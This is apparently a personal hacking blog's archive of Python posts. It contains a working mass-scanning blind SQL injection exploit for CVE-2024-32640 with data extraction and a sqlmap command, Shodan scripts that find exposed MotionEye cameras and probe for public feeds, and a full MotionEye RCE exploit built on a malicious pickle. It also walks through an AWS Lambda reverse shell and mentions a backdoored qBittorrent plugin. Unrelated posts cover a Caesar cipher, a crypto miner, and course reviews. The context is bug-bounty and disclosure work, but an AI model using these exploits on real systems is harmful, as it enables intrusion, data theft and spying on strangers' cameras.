Tag Archives: python

Mura/Masa CMS – SQL Injection CVE-2024-32640

A while back the illustrious team over at Project Discovery wrote about the discovery of an SQLi in Masa/Mura CMS. It’s a good writeup, so go check it out for the technical details.

Recently, I ran across four instances of this CMS in VDP/BB programs, and after searching for POCs out there, I didn’t find much in the way of a POC that would actually dump a little info to prove exploitation. One of them did download ghauri to do exploitation, but I wanted something standalone.

I do this because I want to make it as easy as possible to reproduce and triage. I seem to have bad luck with triagers on multiple platforms lately, including one that didn’t know how to PIP install a Python package, and one asking how to install Burp. Yes, you read that correctly.

Anyway, there were also some other features I always like to have like single-url scanning or scanning from a file or proxying, etc. So here is what I ended up with, as you can find on my GitHub. This will test for exploitability or retrieve the current username or DB name for MySQL.

#!/usr/bin/env python3

import requests
import argparse
import time
from urllib.parse import quote
from multiprocessing.dummy import Pool
import sys 

requests.packages.urllib3.disable_warnings()

def main():
    parser = argparse.ArgumentParser(description="CVE-2024-32640 MySQL Blind SQL Injection Proof of Concept")
    parser.add_argument('-u', '--url', dest='url', type=str, help='Input URL for single target testing')
    parser.add_argument('-f', '--file', dest='file', type=str, help='File containing a list of URLs')
    parser.add_argument('-p', '--proxy', action='store_true', help='Use a proxy (localhost:8080)')
    parser.add_argument('--dump', dest='dump', choices=['dbname', 'user'], help='Dump specific information (e.g., dbname, user)')
    args = parser.parse_args()

    global proxies
    proxies = {
        'http': 'http://127.0.0.1:8080',
        'https': 'http://127.0.0.1:8080'
    } if args.proxy else None

    if args.dump:
        if args.url:
            if args.dump == 'dbname':
                dump_info(args.url, 'DATABASE()', quote('DATABASE()'))
            elif args.dump == 'user':
                dump_info(args.url, 'CURRENT_USER()', quote('CURRENT_USER()'))
        elif args.file:
            with open(args.file, 'r', encoding='utf-8') as fp:
                url_list = [line.strip() for line in fp]
            mp = Pool(10)
            if args.dump == 'dbname':
                mp.map(lambda url: dump_info(url, 'DATABASE()', quote('DATABASE()')), url_list)
            elif args.dump == 'user':
                mp.map(lambda url: dump_info(url, 'CURRENT_USER()', quote('CURRENT_USER()')), url_list)
            mp.close()
            mp.join()
    elif args.url and not args.file:
        poc(args.url)
    elif args.file:
        with open(args.file, 'r', encoding='utf-8') as fp:
            url_list = [line.strip() for line in fp]
        mp = Pool(10)
        mp.map(poc, url_list)
        mp.close()
        mp.join()
    else:
        print(f"Usage:\n\t python3 {sys.argv[0]} -h")

def poc(target):
    """Check if the target is vulnerable using a time-based SQL injection."""
    url_payload = '/index.cfm/_api/json/v1/default/?method=processAsyncObject'
    full_url = target + url_payload
    headers = {
        "Content-Type": "application/x-www-form-urlencoded; charset=utf-8",
        "Cache-Control": "no-cache",
        "Referer": full_url
    }

    detection_payload = "x%5C%27+AND+%28SELECT+3504+FROM+%28SELECT%28SLEEP%285%29%29%29MQYa%29--+pizzapower"

    data = f"object=displayregion&contenthistid={detection_payload}&previewid=1"

    session = requests.Session()
    start_time = time.time()
    response = session.post(full_url, headers=headers, data=data, proxies=proxies, verify=False)
    elapsed_time = time.time() - start_time

    if elapsed_time >= 5:
        print(f'[+] The target {target} is vulnerable to SQL injection.')
        with open('result.txt', 'a') as f:
            f.write(target + '\n')
    else:
        print(f'[-] The target {target} does not appear to be vulnerable.')

def dump_info(target, readable_function, encoded_function):
    """Extract specified information (e.g., database name, user) using time-based blind SQL injection for MySQL."""
    url_payload = '/index.cfm/_api/json/v1/default/?method=processAsyncObject'
    full_url = target + url_payload
    headers = {
        "Content-Type": "application/x-www-form-urlencoded; charset=utf-8",
        "Cache-Control": "no-cache",
        "Referer": full_url
    }

    extracted_info = ""
    print(f"Extracting {readable_function} for {target}...")

    session = requests.Session()

    for i in range(1, 33):  # Assuming max length is 32 characters
        low, high = 32, 126 
        while low <= high:
            mid = (low + high) // 2
            full_sleep_time = 3
            payload = (f"x%5C%27%27+AND+%28SELECT+6666+FROM+%28SELECT%28SLEEP%28{full_sleep_time}-%28IF%28ORD%28MID%28%28IFNULL%28CAST%28{encoded_function}+AS+NCHAR%29%2C0x20%29%29%2C{i}%2C1%29%29%3E{mid}%2C0%2C1%29%29%29%29%29KLkb%29--+pizzapower")
            data = f"object=displayregion&contenthistid={payload}&previewid=1"

            start_time = time.time()
            session.post(full_url, headers=headers, data=data, proxies=proxies, verify=False)
            elapsed_time = time.time() - start_time
            if elapsed_time >= full_sleep_time:
                low = mid + 1 
            else:
                high = mid - 1 

        if high >= 32:
            extracted_info += chr(high + 1)
            print(f"Extracted so far for {readable_function}: {extracted_info}")
        else:
            break 

    if extracted_info:
        print(f"{readable_function} extracted: {extracted_info}")
        with open(f'{readable_function.lower()}_result.txt', 'a') as f:
            f.write(f'{target}: {extracted_info}\n')
    else:
        print(f"Failed to extract {readable_function} for {target}. Ensure the database type is MySQL.")

if __name__ == '__main__':
    main()

But wait! If you’re in a real big hurry, just run this SQLMap command to dump the current user 🤣

sqlmap -u "https://example.com/index.cfm/_api/json/v1/default/?method=processAsyncObject" \
       --data "object=displayregion&contenthistid=x%5C'*--+Arrv&previewid=1" \
       --level 3 --risk 2 --method POST \
       --technique=T \
       --timeout=5 \
       --dbms=mysql \
       --current-user \
       --batch

A Quick AWS Lambda Reverse Shell

Let’s say you’re doing a pentest, and you run across access to AWS Lambda. I recently learned you can get a persistent shell (for 15 minutes, at least) via Lambda, which seemed odd to me because always just considered Lambda a repeatable, but ephemeral thing.

Anyway, first create lambda_function.py with the following code. Note that you’ll need a hostname to connect to. In my case, I used pizzapower.me.

Lambda reverse shell python code.

Next, zip this up into shell.zip.

Creating shell.zip that contains our reverse shell function.

Now we are going to create a Lambda function and upload our shell.zip with the following command

aws lambda create-function --function-name test --runtime python3.9 --handler lambda_function.lambda_handler --timeout 900 --zip-file fileb://shell.zip --role <The Amazon Resource Name (ARN) of the function's execution role>
Creating our function and uploading the code.

Don’t forget to start your listener, and when you are ready, trigger the function!

And catch the shell.

According to the docs, “a Lambda function always runs inside a VPC owned by the Lambda service.” But you can attach your function to your own VPC, so depending on how the victim’s AWS environment is configured, you may be able to pivot around and exploit some more stuff.

Python Caesar Cipher in 15 Minutes

READER BEWARE: The code in this post is horrible.

Ever been asked to write a Caesar Cipher in Python in 15 minutes? No? Neither have I.

Anyway, here is what I accomplished. It is far from optimal. It does not take a lot into account e.g. punctuation, uppercase chars, non integer keys, negative keys, etc. But I was in a hurry.

It takes the message variable and shifts each letter to the ‘right’ by the value of the current key in keys.

#!/usr/bin/env python3

from string import ascii_lowercase

# lowercase letters
CHARACTERS = list(ascii_lowercase)

# for char in CHARACTERS:
#     print(ord(char))

message = "i cannot do this under duress"

keys = [1, 6, 9, 4, 2, 0]

# convert to unicode
message_ord = [ord(x) for x in list(message)]

for key in keys:
    new_message = ""
    for letter in message:
        # I did take care of spaces. 
        if letter == " ":
            new_message += " "
        elif ord(letter) + key > 122:
 #should prob mod something somewhere
            offset = (ord(letter) + key) - 123
            new_letter = 97 + offset
            new_message += chr(new_letter)
        else:
            new_letter = ord(letter) + key
            new_message += chr(new_letter)

    print(f"For key: '{key}' the message is '{new_message}'")

This took me 15 minutes and 36 seconds.

Update: Hacking MotionEye – CVE-2021-44255

I was given CVE-2021-44255 for this – authenticated RCE via a malicious tasks (python pickle) file. So that’s fun. Even though it is authenticated, the default username is admin and the default password is blank, so you know how these things go. I actually haven’t heard of any MotionEye instances being used in botnets or anything.

I should probably request a CVE for the unauthenticated information disclosure that I found, but I need to do some more research on that one.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44255

https://nvd.nist.gov/vuln/detail/CVE-2021-44255

Tesla Solar, Powerwalls, Docker, Python, and Crypto Mining

I had Tesla solar panels and Powerwalls installed several weeks ago. I currently don’t have permission to operate (PTO) from my electricity provider, which means I can’t ship any of my surplus power back to the grid. So, after my batteries fill up for the day, I usually have power production that is going to waste. What can I do with that power?

Mine crypto, that’s what I can do! Those of you that know me IRL, know that I’ve been involved in crypto for a decade. Mining isn’t new to me, but I mostly gave up on it in 2012/2013 when I was only mining a few of Bitcoin a month and it wasn’t worth it to me anymore. Talk about a wrong decision…

I digress. I’m sitting here now producing extra power. Mining crypto with a graphics card that I already have will make me around $50-100/month and give me a chance to whip up a script in Python, which is what I truly enjoy in life. I haven’t done the actual math on it, but I think mining crypto is more profitable that selling my power back to my utility provider. It is also more fun to mine, lol.

My workstation that I’ll be mining on has a sole Gigabyte 1080 TI. It’s a little old, but they’re still going for $700 on eBay these days. I’m running Ubuntu 20.04, and I’ve decided to mine with a docker container and pointing my card at an ethash endpoint from NiceHash. I need to do some research to see if there are better options – which I assume exist.

My overall strategy for this operation will be pretty simple to start off. I’m just going to mine when my batteries are charged above a certain threshold. I set this threshold in the variable BATTERY_CHARGE_TO_START_MINING in the code. Yeah, I like long variable names.

Fortunately, Tesla provides an API to gather information from the Powerwall and there is a Python package to query it. To install this package use the following command:

pip3 install tesla_powerwall

And since I use this docker image to run the Trex Miner app, we also need to install the docker python package.

pip3 install docker

This script is pretty straightforward. I start a docker client to get the running images. I create a new Miner class with my wallet address and URL. This class has methods to start and stop the miner, as well as check if it is running.

Then, in a while loop I check my battery level and start and stop the miner as appropriate. I repeat this every HOW_OFTEN_TO_CHECK seconds.

Here is the code:

#!/usr/bin/env python3

import os
from tesla_powerwall import Powerwall
import docker
import time

POWERWALL_URL = ""  # PowerWall Gateway address goes here
EMAIL = ""  # email address that you use to login into the gateway
PASSWD = ""  # password that you use to log into the gateway
WALLET_ADDRESS = "35kwhvhyfnVnGdoWdyLqrtaHeY7RYByPfW"  # mining wallet address
MINING_URL = (
    "stratum+tcp://daggerhashimoto.usa-east.nicehash.com:3353"  # Mining url
)
# lowest battery charge where mining will start
BATTERY_CHARGE_TO_START_MINING = 50
# how often to check is battery level allows mining or not in seconds
HOW_OFTEN_TO_CHECK = 1800


def init():
    # initialize powerwall object and api
    powerwall = Powerwall(
        endpoint=POWERWALL_URL,
        timeout=10,
        http_session=None,
        verify_ssl=False,
        disable_insecure_warning=True,
        pin_version=None,
    )
    powerwall.login(PASSWD, EMAIL)

    api = powerwall.get_api()

    return powerwall, api


class Miner:
    def __init__(self, client, wallet_address, mining_url):

        self.wallet_address = wallet_address
        self.mining_url = mining_url
        self.client = client
        return

    def start_miner(self, client):
        env_vars = {
            "WALLET": WALLET_ADDRESS,
            "SERVER": MINING_URL,
            "WORKER": "Rig",
            "ALGO": "ethash",
        }
        try:
            client.containers.run(
                "ptrfrll/nv-docker-trex:cuda11",
                detach=True,
                runtime="nvidia",
                name="trex-miner",
                ports={4067: 4067},
                environment=env_vars,
            )
        except os.error as e:
            client.containers.get("trex-miner").restart()
        return

    def stop_miner(self, client):
        trex = client.containers.get("trex-miner")
        trex.stop()
        return

    def is_running(self):
        try:
            client.containers.get("trex-miner")
            return True
        except os.error:
            return False


if __name__ == "__main__":
    powerwall, api = init()

    client = docker.from_env()

    miner = Miner(client, WALLET_ADDRESS, MINING_URL)

    miner.start_miner(client)

    while True:
        # powerwall charge is satisfactory, start mining
        if not miner.is_running() and (
            api.get_system_status_soe()["percentage"]
            > BATTERY_CHARGE_TO_START_MINING
        ):
            miner.start_miner(client)
            print("miner is running or will be started")
        # powerwall charge is too low, shut off mining
        elif miner.is_running() and (
            api.get_system_status_soe()["percentage"]
            < BATTERY_CHARGE_TO_START_MINING
        ):
            print("stopping miner")
            miner.stop_miner(client)
        # try again
        time.sleep(HOW_OFTEN_TO_CHECK)

You can also find future updates of the code here.

TODO: add more options to start/stop mining e.g. if my panels/batteries are connected to the grid or not, start/stop mining based on the weather, etc.

TODO: rewrite in Golang. Trying to learn Go.

Hacking MotionEye/MotionEyeOS

Getting Started with MotionEye

MotionEye is an open source, web-based GUI for the popular Motion CLI application found on Linux. I’ve known of the Motion command line app for years, but I didn’t know that MotionEye existed. I ran across it while trying to find a multiple webcam, GUI or web based solution for future projects.

MotionEye comes in a couple forms – a standalone app, which I used the docker container version of, or a “whole” operating system, MotionEyeOS, to install on a Raspberry Pi.

Starting off, I used Shodan search to find internet facing installations. Here is the script I used for that. If you use this script, you’ll need to put in your API key and the limit parameter, which limits the API queries that you use.

#!/usr/bin/env python3

import sys
# pip3 install shodan
from shodan import Shodan
import requests

# check for api key
api = Shodan('') # Insert API key here

if api.api_key == '':
    print("No API key found! Exiting")
    sys.exit(1)

limit = 1000 # set this to limit your api query usage
counter = 0

url_file = open("urls.txt", "w")

for response in api.search_cursor('Server: motionEye'):
    ip = response['ip_str']
    port = response['port']
    url = f'http://{ip}:{port}'
    url_file.write(url + '\n')

    # Keep track of how many results have been downloaded so we don't use up all our query credits
    counter += 1
    if counter >= limit:
        break

url_file.close()

I ran out of query credits when I ran this script. There are thousands of installations out there. This script will output the IP addresses of those installations.

Finding Live Feeds

In my review of the application, I found that you can make a query to the /picture/{camera-number}/current/ endpoint, and if it returns a 200 status code, it means that the feed is open to the public. You can also increment the camera-number an enumerate the numbers of cameras a feed will actually have, even if it isn’t available to view.

I took the output of motioneye-shodan.py script above, and fed it to live-feeds.py script below.

#!/usr/bin/env python3

import requests

url_file = open("urls.txt", "r")
urls = url_file.readlines()
url_file.close()

live_urls = open("live-urls.txt", "w")

for url in urls:
    try:
        response = requests.get(url + "/picture/0/current/", verify=False, timeout=3).status_code
        print(response)
        if response == 200:
            live_urls.write(url)
    except:
        pass

live_urls.close()

This script outputs the URL of camera feeds that we can view. But the real question here is, what security issues are there with MotionEye?

Information Leakage

It turns out that if you make a get request to the following endpoint /config/list, some of the feeds will return their config files. Most of the time these config files are innocuous. I’m not sure why these are publicly accessible even if the feed is publicly accessible. Maybe it is used as an API endpoint of some sort. I need to dig into the code some more.

However, sometimes these config files contain some very sensitive information. Consider the following config with email_notifications_smtp_password and email_notifications_addresses removed. These passwords are supposed to be for services that the public cannot access, but unfortunately people like to reuse passwords. Again, why is this file even readable?

Along with the occasional password, email addresses are in here, internal IP addresses and ports, mounting points for local drives, etc.

Rate-Limiting and Default Credentials

So, the default installation of MotionEye uses the username of admin and a blank password. Additionally, MotionEye does not seem to institute any sort of rate limiting on login attempts. This is a recipe for disaster.

Authenticated RCE Method #1

Once logged in, I found two simple methods of code execution. The first of which is a classic Python cPickle deserialization exploit.

In the configuration section of the application, there is an option to backup and restore the application configurations. It turns out that if you include a malicious tasks.pickle file in the config you are restoring with, it’ll be written to disk and will be loaded when the application is restarted automatically or manually.

You can simply download the current configuration to use it as a template. After downloading and extracting it, slide your malicious tasks.pickle file and tar.gz everything back up.

The final structure of my motioneye-config.tar.gz for the docker container is as follows:

├── camera-1.conf
├── motion.conf
├── motioneye.conf
└── tasks.pickle

Alternatively, the final structure of my motioneye-config.tar.gz lon MotionEyeOS is the following:

├── adjtime
├── camera-1.conf
├── crontabs
├── date.conf
├── localtime -> /usr/share/zoneinfo/UTC
├── motion.conf
├── motioneye.conf
├── ntp.conf
├── os.conf
├── proftpd.conf
├── shadow
├── shadow-
├── smb.conf
├── ssh
│   ├── ssh_host_dsa_key
│   ├── ssh_host_dsa_key.pub
│   ├── ssh_host_ecdsa_key
│   ├── ssh_host_ecdsa_key.pub
│   ├── ssh_host_ed25519_key
│   ├── ssh_host_ed25519_key.pub
│   ├── ssh_host_rsa_key
│   └── ssh_host_rsa_key.pub
├── static_ip.conf
├── tasks.pickle
├── version
├── watch.conf
└── wpa_supplicant.conf

Pause here: You see, those are ssh keys. So you say why don’t we just try ssh? Go for it. You also may not even need a password, but some people have either secured ssh or disabled ssh on the actually raspberry pi, so it won’t work. A lot of these instances will have ssh turned off, and if it is running in docker, you probably won’t be able to download the ssh keys. Also, it is more fun to write scripts in Python.

Once the configuration is uploaded, wait for the app to reload, or, in unfortunate cases, wait for the app to be reloaded by mother nature or the victim. From what I can see, the docker application will not autoreboot. Here is a Python 3 script that will do all of this. Also, see the github repo, which may be more updated.

#!/usr/bin/env python3

import requests
import argparse
import os
import pickle
import hashlib
import tarfile
import time
import string
import random
from requests_toolbelt import MultipartEncoder
import json


# proxies = {"http": "http://127.0.0.1:9090", "https": "http://127.0.0.1:9090"}
proxies = {}


def get_cli_args():
    parser = argparse.ArgumentParser(description="MotionEye Authenticated RCE Exploit")
    parser.add_argument(
        "--victim",
        help="Victim url in format ip:port, or just ip if port 80",
        required=True,
    )
    parser.add_argument("--attacker", help="ipaddress:port of attacker", required=True)
    parser.add_argument(
        "--username", help="username of web interface, default=admin", default="admin"
    )
    parser.add_argument(
        "--password", help="password of web interface, default=blank", default=""
    )
    args = parser.parse_args()
    return args


def login(username, password, victim_url):
    session = requests.Session()
    useragent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36"
    headers = {"User-Agent": useragent}
    login_url = f"http://{victim_url}/login/"
    body = f"username={username}&password={password}"
    session.post(login_url, headers=headers, data=body)
    return session


def download_config(username, victim_url, session):
    download_url = f"http://{victim_url}/config/backup/?_username={username}&_signature=5907c8158417212fbef26936d3e5d8a04178b46f"
    backup_file = session.get(download_url)
    open("motioneye-config.tar.gz", "wb").write(backup_file.content)
    return


def create_pickle(ip_address, port):
    shellcode = ""  # put your shellcode here

    class EvilPickle(object):
        def __reduce__(self):
            cmd = shellcode
            return os.system, (cmd,)

    # need protocol=2 and fix_imports=True for python2 compatibility
    pickle_data = pickle.dumps(EvilPickle(), protocol=2, fix_imports=True)
    with open("tasks.pickle", "wb") as file:
        file.write(pickle_data)
        file.close()
    return


def decompress_add_file_recompress():
    with tarfile.open("./motioneye-config.tar.gz") as original_backup:
        original_backup.extractall("./motioneye-config")
        original_backup.close()
    original_backup.close()
    os.remove("./motioneye-config.tar.gz")
    # move malicious tasks.pickle into the extracted directory and then tar and gz it back up
    os.rename("./tasks.pickle", "./motioneye-config/tasks.pickle")
    with tarfile.open("./motioneye-config.tar.gz", "w:gz") as config_tar:
        config_tar.add("./motioneye-config/", arcname=".")
    config_tar.close()
    return


def restore_config(username, password, victim_url, session):
    # a lot of this is not necessary, but makes for good tradecraft
    # recreated 'normal' requests as closely as I could
    t = int(time.time() * 1000)
    path = f"/config/restore/?_={t}&_username={username}"
    # admin_hash is the sha1 hash of the admin's password, which is '' in the default case
    admin_hash = hashlib.sha1(password.encode("utf-8")).hexdigest().lower()
    signature = (
        hashlib.sha1(f"POST:{path}::{admin_hash}".encode("utf-8")).hexdigest().lower()
    )
    restore_url = f"http://{victim_url}/config/restore/?_={t}&_username=admin&_signature={signature}"

    # motioneye checks for "---" as a form boundary. Python Requests only prepends "--"
    # so we have to manually create this
    files = {
        "files": (
            "motioneye-config.tar.gz",
            open("motioneye-config.tar.gz", "rb"),
            "application/gzip",
        )
    }

    useragent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36"
    boundary = "----WebKitFormBoundary" + "".join(
        random.sample(string.ascii_letters + string.digits, 16)
    )

    m = MultipartEncoder(fields=files, boundary=boundary)
    headers = {
        "Content-Type": m.content_type,
        "User-Agent": useragent,
        "X-Requested-With": "XMLHttpRequest",
        "Cookie": "meye_username=_; monitor_info_1=; motion_detected_1=false; capture_fps_1=5.6",
        "Origin": f"http://{victim_url}",
        "Referer": f"http://{victim_url}",
        "Accept-Language": "en-US,en;q=0.9",
    }
    response = session.post(restore_url, data=m, headers=headers, proxies=proxies)
    # if response == reboot false then we need reboot routine
    content = json.loads(response.content.decode("utf-8"))

    if content["reboot"] == True:
        print("Rebooting! Stand by for shell!")
    else:
        print("Manual reboot needed!")
    return


if __name__ == "__main__":
    print("Running exploit!")
    arguments = get_cli_args()
    session = login(arguments.username, arguments.password, arguments.victim)
    download_config(arguments.username, arguments.victim, session)
    # sends attacker ip and port as arguments to create the pickle
    create_pickle(arguments.attacker.split(":")[0], arguments.attacker.split(":")[1])
    decompress_add_file_recompress()
    restore_config(arguments.username, arguments.password, arguments.victim, session)

Authenticated RCE Method #2

Another method of code execution involves motion detection. There is an option to run a system command whenever motion is detected. The security implications of this are obvious.

python rev shell

Conclusion

While authentication is needed for RCE, the presence of default credentials and lack of rate limiting make obtaining authentication straightforward. There are a lot of people running this software in a vulnerable manner.

As per my usual advice, don’t expose MotionEye to the WWW. Like all the self-hosted solutions, I advise you to install this to face your internal network and then connect to your internal network via OpenVPN or Wireguard.

Update: I was give CVE-2021-44255 for the python pickle exploit.

Advanced Web Attacks and Exploits -AWAE – Exam Review

> AWAE Course Overview

For people unfamiliar with this course and exam, here is a link to the Offensive security website. I’ve also written about it before, so you can check my post history. Basically the course is a giant pdf and a bunch of videos that go over web application attacks. You then get access to a lab consisting of 13 machines that are running a wide variety of vulnerable web-apps. In regards to languages/DBs/tech, this course covers VSCode, Visual Studio, JDGui, Javascript, PHP, Node, Python, Java, C#, mysql, and postgres – so it’s pretty thorough.

The exam is a 48 hour long exam where they give you access to two machines running vulnerable web-apps. You have to bypass auth on them to get administrator access and then escalate your attack to full-blown remote code execution. You’ll get two debugging machines that are running the same apps as the exam machines. You get full access to the app source code – this is a white-box course after all. You have to review the code base, and then use these debugging machines to develop ‘one-shot’ exploit script that bypasses auth and trigger RCE. I used python, as do most people, I think.

Oh yeah, and they watch you on camera the whole time.

After the exam time is up, assuming you have enough points to pass, you have another 24 hours to write an exam report documenting what you found and how you exploited it.

> How did it go?

First things first: I had to take this one twice. My power went out twice, briefly, and my father had to go to the hospital (he’s fine) during my first attempt. Even though he lives hours away, and there wasn’t much I could do, I was a little distracted. And it wasn’t like I was in front of the computer for the full 48 hours. I took a break about every 1.5 hours or so and slept 5-6 hours both nights.

Nevertheless, I still managed RCE on one of the boxes, and if I had another hour or so, I would have had an auth bypass on the second box – which would likely have let me pass. I look back and I just kind of laugh at how I failed it. I missed something simple that would have given me enough points to pass. I even knew what I needed – I just overlooked it.

I actually noticed the vulns on both boxes within an hour of looking at them. I then went down some rabbit holes for a bit and got sidetracked – especially on the box that I considered the harder one.

The second time around I crushed the exam in about 8 hours – RCE on both boxes. I had my report turned in at the 20 hour mark or so – and I was lollygagging.

If you don’t know me, my background is this: I’m not a professional developer. I don’t work in IT. I have never worked in IT. I just like computers. If I can pass this exam, so can you.

> Advice and Review

My advice for people that are preparing to take this exam is to just take their time and read the code. You need to know how to get the VSCode debugging going. It is a lifesaver. It is probably hard to pass if you don’t get it working. If you follow the code flow in a debugger, things should pop out at you. With that said, they do throw in a couple curve balls, which I bet throws some people for a loop. Now these curve balls aren’t hard to hit, per se, but someone that hasn’t been in the infosec/CTF/bug bounty world may miss these things.

Another question that I’ve been asked is, “Do you need an OSCP to do this couse?” I’ve changed my mind on this several times, and while I think an OSCP will give you a leg up, you don’t really need to have one – especially if you’re already involved the hacking/bug bounty/CTF world. If you’re coming at it straight from being a developer, it may not hurt to expose yourself to this stuff beforehand.

All in all, I’d say the exam was fair and maybe a little on the easy side. I say that as someone that failed it once, too, haha. But not only that, the exam is also a lot of fun. I love the Offensive Security exams. Some people will probably hate me for saying that, but they are a lot of fun.

Malicious qBittorrent Search Plugin: Feature or Bug?

TLDR: Read the code before you install random qbittorent plug-ins.

qBittorrent has a feature that allows you to install a search plugin to search for torrents on your favorite sites. These plugins are written in Python, and although I haven’t reviewed the qBittorrent source code, it appears as if you can simply execute arbitrary code via these plugins. qBittorrent does not seem to do any sort of sanitization.

I added a reverse shell class to an already existing search plugin. The shell should work on Windows and Linux. Although, qBittorrent seems to have some issues with what version of Python you are using. Nevertheless, be aware that unsanitized code can be ran via the search plugin feature.

Here is a link to the malicious qBittorrent search plugin.

Offensive Security AWAE/OSWE

I recently was enrolled in the Offensive Security Advanced Web Attacks and Exploits course. This is the newer version of the course, and it leads to the Offensive Security Web Expert Certification. Well, you’ll get the cert after you pass a 48 hour hands-on exam and write a report of your findings. Fun.

First off, I have bug bounty hunting/web app testing experience, so some of the material in the course is not new to me. With that said, the material is presented well, and I enjoyed being able to see somebody else’s methodology of going from initial exploit to full-blown remote code execution. And I definitely still learned a lot along the way.

I’m a mostly self-taught hacker, as are a lot of people in the field. Unfortunately, I find that when I learn on my own, I miss some things along the way. Usually it’s just little time-saving tricks or different ways of doing things, but sometimes I miss things that may cost me money in the bug hunting world. So, I like to supplement the self-learning with some courses occasionally.

If you’re reading this, you probably know how the labs are set up. You get access to 12 boxes running vulnerable software. You exploit them from initial exploit to RCE. The course manual and videos walk you through it, and then they give you “extra miles” to complete, if you’re inclined. The course manual and videos are well put together and explain all the exploits thoroughly.

Should you purchase this course? That depends. I think if you’re already established in the field and making some money bug hunting, you can probably pass it over. If you’re looking to make a transition into web-app pentesting from dev work, it would be a good choice for you. If you’re looking to challenge yourself, go for it. If you’re looking to bolster the resume, go for it.

What do you need to know to complete the course? Well, my skills in C# and Java are a little lacking, so those parts were the most challenging for me, but they were also the parts where I learned the most. I’ve seen some people recommend having an OSCP cert before starting the AWAE, but I don’t think that’s necessary. They are different beasts, and while there is some overlap, it isn’t much. I’d say having a thorough understand of Python (requests package and sessions), and Linux is much more helpful than having an OSCP. The course touches PHP, Node, regular Javascript, Python, C#, and Java (am I forgetting anything?), so if you are lacking experience in any of those, I’d recommend familiarizing yourself with them before you start the course.